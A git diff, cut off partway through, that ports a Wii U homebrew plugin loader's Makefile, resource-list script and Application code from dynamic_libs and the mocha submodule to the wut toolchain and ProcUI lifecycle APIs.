diff --git a/.gitignore b/.gitignore
index 065103d..fdfb2d7 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,12 +1,6 @@
-build/*
-*.cbp
+build/
+*.rpx
 *.elf
-*.cscope_file_list
-*.layout
-screenshots/*
-release/*
-*.mod
-*.id*
-*.nam
-*.til
-*.layout
\ No newline at end of file
+*.exe
+src/resources/filelist.h
+*.cbp
diff --git a/.gitmodules b/.gitmodules
index 3667759..e69de29 100644
--- a/.gitmodules
+++ b/.gitmodules
@@ -1,4 +0,0 @@
-[submodule "src/mocha"]
-	path = src/mocha
-	url = https://github.com/Maschell/mocha
-	branch = sd_access
diff --git a/Makefile b/Makefile
index e026497..e214d13 100644
--- a/Makefile
+++ b/Makefile
@@ -1,270 +1,164 @@
-DO_LOGGING := 1
-
-#---------------------------------------------------------------------------------
-# Clear the implicit built in rules
-#---------------------------------------------------------------------------------
+#-------------------------------------------------------------------------------
 .SUFFIXES:
-#---------------------------------------------------------------------------------
-ifeq ($(strip $(DEVKITPPC)),)
-$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=<path to>devkitPPC")
-endif
+#-------------------------------------------------------------------------------
+
 ifeq ($(strip $(DEVKITPRO)),)
-$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=<path to>devkitPRO")
+$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=<path to>/devkitpro")
 endif
 
-export PATH			:=	$(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH):$(DEVKITPRO)/tools/bin
-export PORTLIBS		:=	$(DEVKITPRO)/portlibs/ppc
+TOPDIR ?= $(CURDIR)
 
-PREFIX	:=	powerpc-eabi-
+include $(DEVKITPRO)/wut/share/wut_rules
 
-export AS	:=	$(PREFIX)as
-export CC	:=	$(PREFIX)gcc
-export CXX	:=	$(PREFIX)g++
-export AR	:=	$(PREFIX)ar
-export OBJCOPY	:=	$(PREFIX)objcopy
-
-print-%  : ; @echo $* = $($*)
-
-#---------------------------------------------------------------------------------
+#-------------------------------------------------------------------------------
 # TARGET is the name of the output
 # BUILD is the directory where object files & intermediate files will be placed
 # SOURCES is a list of directories containing source code
-# INCLUDES is a list of directories containing extra header files
-#---------------------------------------------------------------------------------
-TARGET    :=  wiiupluginloader
-BUILD     :=  build
-BUILD_DBG	:=  $(TARGET)_dbg
-SOURCES   :=  src/common \
-              src/custom/gui \
-              src/libelf \
-              src/menu/content \
-              src/menu \
-              src/mymemory \
-              src/mykernel \
-              src/myutils \
-              src/patcher \
-              src/plugin \
-              src/resources \
-              src/settings \
-              src/
+# DATA is a list of directories containing data files
+# INCLUDES is a list of directories containing header files
+#-------------------------------------------------------------------------------
+TARGET		:=	$(notdir $(CURDIR))
+BUILD		:=	build
+SOURCES		:=	src \
+				src/custom/gui \
+				src/fs \
+				src/game \
+				src/plugin \
+				src/language \
+				src/menu \
+				src/menu/content \
+				src/resources \
+				src/settings \
+				src/system \
+				src/utils
+DATA		:=	data \
+				data/images \
+				data/sounds \
+				data/fonts
+INCLUDES	:=	src
 
-DATA		:=  data/images \
-                data/sounds \
-                data/fonts \
-
-INCLUDES  :=  src/libelf \
-              src/
-
-#---------------------------------------------------------------------------------
+#-------------------------------------------------------------------------------
 # options for code generation
-#---------------------------------------------------------------------------------
-CFLAGS	:=  -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
-		    -O0 -D__wiiu__ -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing -D_GNU_SOURCE $(INCLUDE)
-CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
-		    -O0 -D__wiiu__ -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing -D_GNU_SOURCE $(INCLUDE)
+#-------------------------------------------------------------------------------
+CFLAGS	:=	-g -Wall -O2 -ffunction-sections \
+			$(MACHDEP)
 
-ifeq ($(DO_LOGGING), 1)
-   CFLAGS += -D__LOGGING__
-   CXXFLAGS += -D__LOGGING__
-endif
+CFLAGS	+=	$(INCLUDE) -D__WIIU__ -D__WUT__
 
-ASFLAGS	:= -mregnames
-LDFLAGS	:= -nostartfiles -Wl,-Map,$(notdir $@).map,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,--gc-sections
+CXXFLAGS	:= $(CFLAGS)
 
-#---------------------------------------------------------------------------------
-Q := @
-MAKEFLAGS += --no-print-directory
-#---------------------------------------------------------------------------------
-# any extra libraries we wish to link with the project
-#---------------------------------------------------------------------------------
-LIBS	:= -lgui -lm -lgcc -lfat -liosuhax -lutils -ldynamiclibs -lfreetype -lgd -lpng -ljpeg -lz -lmad -lvorbisidec -logg -lbz2
+ASFLAGS	:=	-g $(ARCH)
+LDFLAGS	=	-g $(ARCH) $(RPXSPECS) -Wl,-Map,$(notdir $*.map)
 
-#---------------------------------------------------------------------------------
-# list of directories containing libraries, this must be the top level containing
-# include and lib
-#---------------------------------------------------------------------------------
-LIBDIRS	:=	$(CURDIR)	\
-			$(DEVKITPPC)/lib  \
-			$(DEVKITPRO)/wups
+LIBS	:=  -lgui -lfreetype -lgd -lpng -ljpeg -lz -lmad -lvorbisidec -logg -lbz2 -lwut 
 
-#---------------------------------------------------------------------------------
+#-------------------------------------------------------------------------------
+# list of directories containing libraries, this must be the top level
+# containing include and lib
+#-------------------------------------------------------------------------------
+LIBDIRS	:= $(PORTLIBS) $(WUT_ROOT)
+
+#-------------------------------------------------------------------------------
 # no real need to edit anything past this point unless you need to add additional
 # rules for different file extensions
-#---------------------------------------------------------------------------------
+#-------------------------------------------------------------------------------
 ifneq ($(BUILD),$(notdir $(CURDIR)))
-#---------------------------------------------------------------------------------
-export PROJECTDIR := $(CURDIR)
-export OUTPUT	:=	$(CURDIR)/$(TARGETDIR)/$(TARGET)
-export VPATH	:=	$(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
-					$(foreach dir,$(DATA),$(CURDIR)/$(dir))
-export DEPSDIR	:=	$(CURDIR)/$(BUILD)
-
-#---------------------------------------------------------------------------------
-# automatically build a list of object files for our project
-#---------------------------------------------------------------------------------
+#-------------------------------------------------------------------------------
 FILELIST	:=	$(shell bash ./filelist.sh)
-LANGUAGES	:=	$(shell bash ./updatelang.sh)
-CFILES		:=	$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
-CPPFILES	:=	$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
-sFILES		:=	$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
-SFILES		:=	$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S)))
-BINFILES	:=	$(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
-TTFFILES	:=	$(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf)))
-PNGFILES	:=	$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png)))
-
-#---------------------------------------------------------------------------------
-# use CXX for linking C++ projects, CC for standard C
-#---------------------------------------------------------------------------------
-ifeq ($(strip $(CPPFILES)),)
-	export LD	:=	$(CC)
-else
-	export LD	:=	$(CXX)
-endif
-
-export OFILES	:=	$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \
-					$(sFILES:.s=.o) $(SFILES:.S=.o) \
-					$(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES))
-
-#---------------------------------------------------------------------------------
-# build a list of include paths
-#---------------------------------------------------------------------------------
-export INCLUDE	:=	$(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
-					$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
-                    -I$(PORTLIBS)/include -I$(CURDIR)/$(BUILD) \
-					-I$(PORTLIBS)/include/libutils \
-                    -I$(PORTLIBS)/include/freetype2 -I$(PORTLIBS)/include/libgui
-
-
-#---------------------------------------------------------------------------------
-# build a list of library paths
-#---------------------------------------------------------------------------------
-export LIBPATHS	:=	$(foreach dir,$(LIBDIRS),-L$(dir)/lib) \
-					-L$(PORTLIBS)/lib
 
 export OUTPUT	:=	$(CURDIR)/$(TARGET)
-.PHONY: $(BUILD) clean install
+export TOPDIR	:=	$(CURDIR)
 
-#---------------------------------------------------------------------------------
-$(BUILD): $(CURDIR)/src/mocha/ios_kernel/ios_kernel.bin.h
+export VPATH	:=	$(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
+			$(foreach dir,$(DATA),$(CURDIR)/$(dir))
+
+export DEPSDIR	:=	$(CURDIR)/$(BUILD)
+
+CFILES		:=	$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
+CPPFILES	:=	$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
+SFILES		:=	$(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
+BINFILES	:=	$(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
+
+#-------------------------------------------------------------------------------
+# use CXX for linking C++ projects, CC for standard C
+#-------------------------------------------------------------------------------
+ifeq ($(strip $(CPPFILES)),)
+#-------------------------------------------------------------------------------
+	export LD	:=	$(CC)
+#-------------------------------------------------------------------------------
+else
+#-------------------------------------------------------------------------------
+	export LD	:=	$(CXX)
+#-------------------------------------------------------------------------------
+endif
+#-------------------------------------------------------------------------------
+
+export OFILES_BIN	:=	$(addsuffix .o,$(BINFILES))
+export OFILES_SRC	:=	$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
+export OFILES 	:=	$(OFILES_BIN) $(OFILES_SRC)
+export HFILES_BIN	:=	$(addsuffix .h,$(subst .,_,$(BINFILES)))
+
+export INCLUDE	:=	$(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
+			$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
+			-I$(CURDIR)/$(BUILD) -I$(PORTLIBS_PATH)/ppc/include/freetype2
+
+export LIBPATHS	:=	$(foreach dir,$(LIBDIRS),-L$(dir)/lib)
+
+.PHONY: $(BUILD) clean all
+
+#-------------------------------------------------------------------------------
+all: $(BUILD)
+
+$(BUILD):
 	@[ -d $@ ] || mkdir -p $@
 	@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
 
-$(CURDIR)/src/mocha/ios_kernel/ios_kernel.bin.h: $(CURDIR)/src/mocha/ios_usb/ios_usb.bin.h $(CURDIR)/src/mocha/ios_mcp/ios_mcp.bin.h $(CURDIR)/src/mocha/ios_fs/ios_fs.bin.h $(CURDIR)/src/mocha/ios_bsp/ios_bsp.bin.h $(CURDIR)/src/mocha/ios_acp/ios_acp.bin.h
-	@$(MAKE) -j1 --no-print-directory -C $(CURDIR)/src/mocha/ios_kernel -f  $(CURDIR)/src/mocha/ios_kernel/Makefile
-
-$(CURDIR)/src/mocha/ios_usb/ios_usb.bin.h:
-	@$(MAKE) -j1 --no-print-directory -C $(CURDIR)/src/mocha/ios_usb -f  $(CURDIR)/src/mocha/ios_usb/Makefile
-
-$(CURDIR)/src/mocha/ios_fs/ios_fs.bin.h:
-	@$(MAKE) -j1 --no-print-directory -C $(CURDIR)/src/mocha/ios_fs -f  $(CURDIR)/src/mocha/ios_fs/Makefile
-
-$(CURDIR)/src/mocha/ios_bsp/ios_bsp.bin.h:
-	@$(MAKE) -j1 --no-print-directory -C $(CURDIR)/src/mocha/ios_bsp -f  $(CURDIR)/src/mocha/ios_bsp/Makefile
-
-$(CURDIR)/src/mocha/ios_mcp/ios_mcp.bin.h:
-	@$(MAKE) -j1 --no-print-directory -C $(CURDIR)/src/mocha/ios_mcp -f  $(CURDIR)/src/mocha/ios_mcp/Makefile
-
-$(CURDIR)/src/mocha/ios_acp/ios_acp.bin.h:
-	@$(MAKE) -j1 --no-print-directory -C $(CURDIR)/src/mocha/ios_acp -f  $(CURDIR)/src/mocha/ios_acp/Makefile
-
-#---------------------------------------------------------------------------------
+#-------------------------------------------------------------------------------
 clean:
 	@echo clean ...
-	@rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf
-	@$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_kernel -f  $(CURDIR)/src/mocha/ios_kernel/Makefile clean
-	@$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_usb -f  $(CURDIR)/src/mocha/ios_usb/Makefile clean
-	@$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_fs -f  $(CURDIR)/src/mocha/ios_fs/Makefile clean
-	@$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_bsp -f  $(CURDIR)/src/mocha/ios_bsp/Makefile clean
-	@$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_mcp -f  $(CURDIR)/src/mocha/ios_mcp/Makefile clean
-	@$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_acp -f $(CURDIR)/src/mocha/ios_acp/Makefile clean
+	@rm -fr $(BUILD) $(TARGET).rpx $(TARGET).elf
 
-#---------------------------------------------------------------------------------
+#-------------------------------------------------------------------------------
 else
+.PHONY:	all
 
 DEPENDS	:=	$(OFILES:.o=.d)
 
-#---------------------------------------------------------------------------------
+#-------------------------------------------------------------------------------
 # main targets
-#---------------------------------------------------------------------------------
-$(OUTPUT).elf:  $(OFILES)
+#-------------------------------------------------------------------------------
+all	:	$(OUTPUT).rpx
 
-#---------------------------------------------------------------------------------
-# This rule links in binary data with the .jpg extension
-#---------------------------------------------------------------------------------
-%.elf: link.ld $(OFILES)
-	@echo "linking ... $(TARGET).elf"
-	$(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf  $(LIBPATHS) $(LIBS)
-	$(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@
+$(OUTPUT).rpx	:	$(OUTPUT).elf
+$(OUTPUT).elf	:	$(OFILES)
 
-#---------------------------------------------------------------------------------
-%.a:
-#---------------------------------------------------------------------------------
-	@echo $(notdir $@)
-	@rm -f $@
-	@$(AR) -rc $@ $^
+$(OFILES_SRC)	: $(HFILES_BIN)
 
-#---------------------------------------------------------------------------------
-%.o: %.cpp
+#-------------------------------------------------------------------------------
+# you need a rule like this for each extension you use as binary data
+#-------------------------------------------------------------------------------
+%.bin.o	%_bin.h :	%.bin
 	@echo $(notdir $<)
-	@$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER)
+	@$(bin2o)
 
-#---------------------------------------------------------------------------------
-%.o: %.c
+%.png.o	%_png.h :	%.png
 	@echo $(notdir $<)
-	@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER)
-
-#---------------------------------------------------------------------------------
-%.o: %.S
-	@echo $(notdir $<)
-	@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER)
+	@$(bin2o)
 	
-#---------------------------------------------------------------------------------
-%.o: %.s
+%.ogg.o	%_ogg.h :	%.ogg
 	@echo $(notdir $<)
-	@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER)
-
-#---------------------------------------------------------------------------------
-%.png.o : %.png
+	@$(bin2o)
+	
+%.mp3.o	%_mp3.h :	%.mp3
 	@echo $(notdir $<)
-	@bin2s -a 32 $< | $(AS) -o $(@)
-
-#---------------------------------------------------------------------------------
-%.jpg.o : %.jpg
+	@$(bin2o)
+	
+%.ttf.o	%_ttf.h :	%.ttf
 	@echo $(notdir $<)
-	@bin2s -a 32 $< | $(AS) -o $(@)
-
-#---------------------------------------------------------------------------------
-%.ttf.o : %.ttf
-	@echo $(notdir $<)
-	@bin2s -a 32 $< | $(AS) -o $(@)
-
-#---------------------------------------------------------------------------------
-%.bin.o : %.bin
-	@echo $(notdir $<)
-	@bin2s -a 32 $< | $(AS) -o $(@)
-
-#---------------------------------------------------------------------------------
-%.wav.o : %.wav
-	@echo $(notdir $<)
-	@bin2s -a 32 $< | $(AS) -o $(@)
-
-#---------------------------------------------------------------------------------
-%.mp3.o : %.mp3
-	@echo $(notdir $<)
-	@bin2s -a 32 $< | $(AS) -o $(@)
-
-#---------------------------------------------------------------------------------
-%.ogg.o : %.ogg
-	@echo $(notdir $<)
-	@bin2s -a 32 $< | $(AS) -o $(@)
-
-#---------------------------------------------------------------------------------
-%.tga.o : %.tga
-	@echo $(notdir $<)
-	@bin2s -a 32 $< | $(AS) -o $(@)
+	@$(bin2o)
 
 -include $(DEPENDS)
 
-#---------------------------------------------------------------------------------
+#-------------------------------------------------------------------------------
 endif
-#---------------------------------------------------------------------------------
+#-------------------------------------------------------------------------------
diff --git a/filelist.sh b/filelist.sh
index 9d3867d..15addd3 100644
--- a/filelist.sh
+++ b/filelist.sh
@@ -3,7 +3,7 @@
 # Automatic resource file list generation
 # Created by Dimok
 
-outFile="./src/resources/filelist.cpp"
+outFile="./src/resources/filelist.h"
 count_old=$(cat $outFile 2>/dev/null | tr -d '\n\n' | sed 's/[^0-9]*\([0-9]*\).*/\1/')
 
 count=0
@@ -29,18 +29,27 @@ fi
 if [ "$count_old" != "$count" ] || [ ! -f $outFile ]
 then
 
-echo "Generating filelist.c for $count files." >&2
+echo "Generating filelist.h for $count files." >&2
 cat <<EOF > $outFile
 /****************************************************************************
- * Resource files.
+ * Loadiine resource files.
  * This file is generated automatically.
  * Includes $count files.
  *
  * NOTE:
  * Any manual modification of this file will be overwriten by the generation.
- *****************************************************************************/
-#include <resources/filelist.h>
-#include <stdint.h>
+ ****************************************************************************/
+#ifndef _FILELIST_H_
+#define _FILELIST_H_
+
+typedef struct _RecourceFile
+{
+	const char          *filename;
+	const unsigned char *DefaultFile;
+	const unsigned int  &DefaultFileSize;
+	unsigned char	    *CustomFile;
+	unsigned int        CustomFileSize;
+} RecourceFile;
 
 EOF
 
@@ -48,12 +57,12 @@ for i in ${files[@]}
 do
 	filename=${i%.*}
 	extension=${i##*.}
-	echo 'extern const uint8_t '$filename'_'$extension'[];' >> $outFile
-	echo 'extern const uint32_t '$filename'_'$extension'_size;' >> $outFile
+	echo 'extern const unsigned char '$filename'_'$extension'[];' >> $outFile
+	echo 'extern const unsigned int '$filename'_'$extension'_size;' >> $outFile
 	echo '' >> $outFile
 done
 
-echo 'static ResourceFile ResourceList[] =' >> $outFile
+echo 'static RecourceFile RecourceList[] =' >> $outFile
 echo '{' >> $outFile
 
 for i in ${files[@]}
@@ -65,7 +74,8 @@ done
 
 echo -e '\t{NULL, NULL, 0, NULL, 0}' >> $outFile
 echo '};' >> $outFile
+
 echo '' >> $outFile
-echo 'ResourceFile * getResourceList(){ return ResourceList; }' >> $outFile
-echo '' >> $outFile
+echo '#endif' >> $outFile
+
 fi
diff --git a/installupdateportlibs.sh b/installupdateportlibs.sh
deleted file mode 100644
index 6f6d891..0000000
--- a/installupdateportlibs.sh
+++ /dev/null
@@ -1,19 +0,0 @@
-#! /bin/bash
-# 
-7z x -y ./libs/portlibs.zip -o${DEVKITPRO}  
-mkdir portlib_repos
-cd portlib_repos
-((git clone https://github.com/Maschell/dynamic_libs.git -b lib && (7z x -y ./dynamic_libs/libs/portlibs.zip -o${DEVKITPRO})) || (cd dynamic_libs && git pull))
-(git clone https://github.com/dimok789/libiosuhax.git || (cd libiosuhax && git pull))
-(git clone https://github.com/Maschell/libfat.git || (cd libfat && git pull))   
-(git clone https://github.com/Maschell/libutils.git || (cd libutils && git pull))   
-((git clone https://github.com/Maschell/libgui.git && (7z x -y ./libgui/libs/portlibs.zip -o${DEVKITPRO})) || (cd libgui && git pull))   
-(git clone https://github.com/Maschell/fs_wrapper.git || (cd fs_wrapper && git pull))  
-(git clone https://github.com/Maschell/controller_patcher.git || (cd controller_patcher && git pull))
-(cd dynamic_libs && ((make -j8 | grep -c "built ... ") && make install && echo "installed" ) || (echo "no need for make install" && make))
-(cd libiosuhax && make -j8 && make install) 
-(cd libfat && make wiiu-release && make wiiu-install)
-(cd libutils && ((make -j8 | grep -c "built ... ") && make install && echo "installed" ) || (echo "no need for make install" && make))
-(cd libgui && ((make -j8 | grep -c "built ... ") && make install) || echo "no need for make install")
-(cd fs_wrapper && ((make -j8 | grep -c "built ... ") && make install && echo "installed" ) || (echo "no need for make install" && make))
-(cd controller_patcher && ((make -j8 | grep -c "built ... ") && make install && echo "installed" ) || (echo "no need for make install" && make))
diff --git a/libs/portlibs.zip b/libs/portlibs.zip
deleted file mode 100644
index d2a9905..0000000
Binary files a/libs/portlibs.zip and /dev/null differ
diff --git a/src/Application.cpp b/src/Application.cpp
index da15b99..96a989d 100644
--- a/src/Application.cpp
+++ b/src/Application.cpp
@@ -17,41 +17,46 @@
  ****************************************************************************/
 #include "Application.h"
 #include "common/common.h"
-#include <dynamic_libs/os_functions.h>
+#include <coreinit/core.h>
+#include <coreinit/foreground.h>
+#include <proc_ui/procui.h>
+#include <sysapp/launch.h>
 #include <gui/FreeTypeGX.h>
 #include <gui/VPadController.h>
 #include <gui/WPadController.h>
+#include "system/memory.h"
 #include "resources/Resources.h"
-#include <sounds/SoundHandler.hpp>
+#include <gui/sounds/SoundHandler.hpp>
 #include <utils/logger.h>
 #include "settings/CSettings.h"
-#include "myutils/TcpReceiver.h"
-#include "mymemory/memory_mapping.h"
+#include "utils/TcpReceiver.h"
 
 Application *Application::applicationInstance = NULL;
 bool Application::exitApplication = false;
+bool Application::quitRequest = false;
 
 Application::Application()
     : CThread(CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff, 0, 0x20000)
     , bgMusic(NULL)
     , video(NULL)
     , mainWindow(NULL)
-    , exitCode(EXIT_RELAUNCH_ON_LOAD) {
+    , fontSystem(NULL)
+    , exitCode(0) {
     controller[0] = new VPadController(GuiTrigger::CHANNEL_1);
     controller[1] = new WPadController(GuiTrigger::CHANNEL_2);
     controller[2] = new WPadController(GuiTrigger::CHANNEL_3);
     controller[3] = new WPadController(GuiTrigger::CHANNEL_4);
     controller[4] = new WPadController(GuiTrigger::CHANNEL_5);
 
-    CSettings::instance()->Load();
-
     //! create bgMusic
     bgMusic = new GuiSound(Resources::GetFile("bgMusic.mp3"), Resources::GetFileSize("bgMusic.mp3"));
-
-    //! load language
-    loadLanguageFromConfig();
+    bgMusic->SetLoop(true);
+    bgMusic->Play();
+    bgMusic->SetVolume(50);
 
     exitApplication = false;
+
+    ProcUIInit(OSSavesDone_ReadyToRelease);
 }
 
 Application::~Application() {
@@ -70,7 +75,7 @@ Application::~Application() {
         AsyncDeleter::triggerDeleteProcess();
         while(!AsyncDeleter::realListEmpty()) {
             DEBUG_FUNCTION_LINE("Waiting...\n");
-            os_usleep(1000);
+            OSSleepTicks(OSMicrosecondsToTicks(1000));
         }
     } while(!AsyncDeleter::deleteListEmpty());
     AsyncDeleter::destroyInstance();
@@ -80,6 +85,8 @@ Application::~Application() {
 
     DEBUG_FUNCTION_LINE("Stop sound handler\n");
     SoundHandler::DestroyInstance();
+
+    ProcUIShutdown();
 }
 
 int32_t Application::exec() {
@@ -91,15 +98,12 @@ int32_t Application::exec() {
     return exitCode;
 }
 
-void Application::reloadUI() {
-    reloadUIflag = true;
-}
 void Application::fadeOut() {
     GuiImage fadeOut(video->getTvWidth(), video->getTvHeight(), (GX2Color) {
         0, 0, 0, 255
     });
 
-    for(int32_t i = 0; i < 255; i += 10) {
+    for(int i = 0; i < 255; i += 10) {
         if(i > 255)
             i = 255;
 
@@ -109,9 +113,9 @@ void Application::fadeOut() {
         video->prepareDrcRendering();
         mainWindow->drawDrc(video);
 
-        GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_ALWAYS);
+        GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_FUNC_ALWAYS);
         fadeOut.draw(video);
-        GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL);
+        GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_LEQUAL);
 
         video->drcDrawDone();
 
@@ -120,9 +124,9 @@ void Application::fadeOut() {
 
         mainWindow->drawTv(video);
 
-        GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_ALWAYS);
+        GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_FUNC_ALWAYS);
         fadeOut.draw(video);
-        GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL);
+        GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_LEQUAL);
 
         video->tvDrawDone();
 
@@ -142,109 +146,151 @@ void Application::fadeOut() {
     video->drcEnable(false);
 }
 
-void Application::executeThread(void) {
-    DEBUG_FUNCTION_LINE("Initialize video\n");
-    video = new CVideo(GX2_TV_SCAN_MODE_720P, GX2_DRC_SINGLE);
+bool Application::procUI(void) {
+    bool executeProcess = false;
 
-    DEBUG_FUNCTION_LINE("Video size %i x %i\n", video->getTvWidth(), video->getTvHeight());
-
-    //! setup default Font
-    DEBUG_FUNCTION_LINE("Initialize main font system\n");
-    FreeTypeGX *fontSystem = new FreeTypeGX(Resources::GetFile("font.ttf"), Resources::GetFileSize("font.ttf"), true);
-    GuiText::setPresetFont(fontSystem);
-
-    reloadUIflag = true;
-    if(bgMusic != NULL) {
-        bgMusic->SetLoop(true);
-        bgMusic->SetVolume(50);
-        bgMusic->Stop(); //CHANG MEEEEEEEEEEEEEEEEEEE
+    switch(ProcUIProcessMessages(true)) {
+    case PROCUI_STATUS_EXITING: {
+        DEBUG_FUNCTION_LINE("PROCUI_STATUS_EXITING\n");
+        exitCode = EXIT_SUCCESS;
+        exitApplication = true;
+        break;
     }
+    case PROCUI_STATUS_RELEASE_FOREGROUND: {
+        DEBUG_FUNCTION_LINE("PROCUI_STATUS_RELEASE_FOREGROUND\n");
+        if(video != NULL) {
+            // we can turn of the screen but we don't need to and it will display the last image
+            video->tvEnable(true);
+            video->drcEnable(true);
 
+            DEBUG_FUNCTION_LINE("delete fontSystem\n");
+            delete fontSystem;
+            fontSystem = NULL;
 
-    while(reloadUIflag) {
-        reloadUIflag = false;
-        exitCode = EXIT_RELAUNCH_ON_LOAD;
-        DEBUG_FUNCTION_LINE("Initialize the language\n");
-        loadLanguageFromConfig();
-        DEBUG_FUNCTION_LINE("Initialize main window\n");
-        mainWindow = MainWindow::getInstance(video->getTvWidth(), video->getTvHeight());
+            DEBUG_FUNCTION_LINE("delete video\n");
+            delete video;
+            video = NULL;
 
-        exitApplication = false;
-        //! main GX2 loop (60 Hz cycle with max priority on core 1)
-
-        DEBUG_FUNCTION_LINE("Starting TcpReceiver\n");
-        TcpReceiver pluginReceiver(4299);
-        DEBUG_FUNCTION_LINE("Entering main loop\n");
-        while(!exitApplication && !reloadUIflag) {
-            //! Read out inputs
-            for(int32_t i = 0; i < 5; i++) {
-                if(controller[i]->update(video->getTvWidth(), video->getTvHeight()) == false)
-                    continue;
-
-                if(controller[i]->data.buttons_d & VPAD_BUTTON_PLUS) {
-                    exitCode = APPLICATION_CLOSE_APPLY;
-                    if(linkPluginsCallback != NULL) {
-                        bool result = linkPluginsCallback();
-                        if(!result) {
-                            // On linking errors return to the HBL.
-#warning TODO: proper error handling when linking fails.
-                            exitCode = APPLICATION_CLOSE_MIIMAKER;
-                        }
-                    }
-                    exitApplication = true;
-                }
-
-                if(controller[i]->data.buttons_d & VPAD_BUTTON_MINUS) {
-                    exitCode = APPLICATION_CLOSE_APPLY_MEMORY;
-                    exitApplication = true;
-                }
-
-                if(controller[i]->data.buttons_d & VPAD_BUTTON_HOME) {
-                    exitCode = APPLICATION_CLOSE_MIIMAKER;
-                    exitApplication = true;
-                }
-
-                //! update controller states
-                mainWindow->update(controller[i]);
-            }
-            mainWindow->process();
-
-            //! start rendering DRC
-            video->prepareDrcRendering();
-            mainWindow->drawDrc(video);
-            video->drcDrawDone();
-
-            //! start rendering TV
-            video->prepareTvRendering();
-            mainWindow->drawTv(video);
-            video->tvDrawDone();
-
-            //! enable screen after first frame render
-            if(video->getFrameCount() == 0) {
-                video->tvEnable(true);
-                video->drcEnable(true);
-            }
-
-
-            //! as last point update the effects as it can drop elements
-            mainWindow->updateEffects();
-
-            video->waitForVSync();
-
-            //! transfer elements to real delete list here after all processes are finished
-            //! the elements are transfered to another list to delete the elements in a separate thread
-            //! and avoid blocking the GUI thread
-            AsyncDeleter::triggerDeleteProcess();
+            DEBUG_FUNCTION_LINE("deinitialze memory\n");
+            memoryRelease();
+            ProcUIDrawDoneRelease();
+        } else {
+            ProcUIDrawDoneRelease();
         }
-        DEBUG_FUNCTION_LINE("Fading out\n");
-        fadeOut();
-        DEBUG_FUNCTION_LINE("Destroying the MainWindow\n");
-        MainWindow::destroyInstance();
+        break;
     }
-    DEBUG_FUNCTION_LINE("Delete fontSystem\n");
+    case PROCUI_STATUS_IN_FOREGROUND: {
+        if(!quitRequest) {
+            if(video == NULL) {
+                DEBUG_FUNCTION_LINE("PROCUI_STATUS_IN_FOREGROUND\n");
+                DEBUG_FUNCTION_LINE("initialze memory\n");
+                memoryInitialize();
+
+                DEBUG_FUNCTION_LINE("Initialize video\n");
+                video = new CVideo(GX2_TV_SCAN_MODE_720P, GX2_DRC_RENDER_MODE_SINGLE);
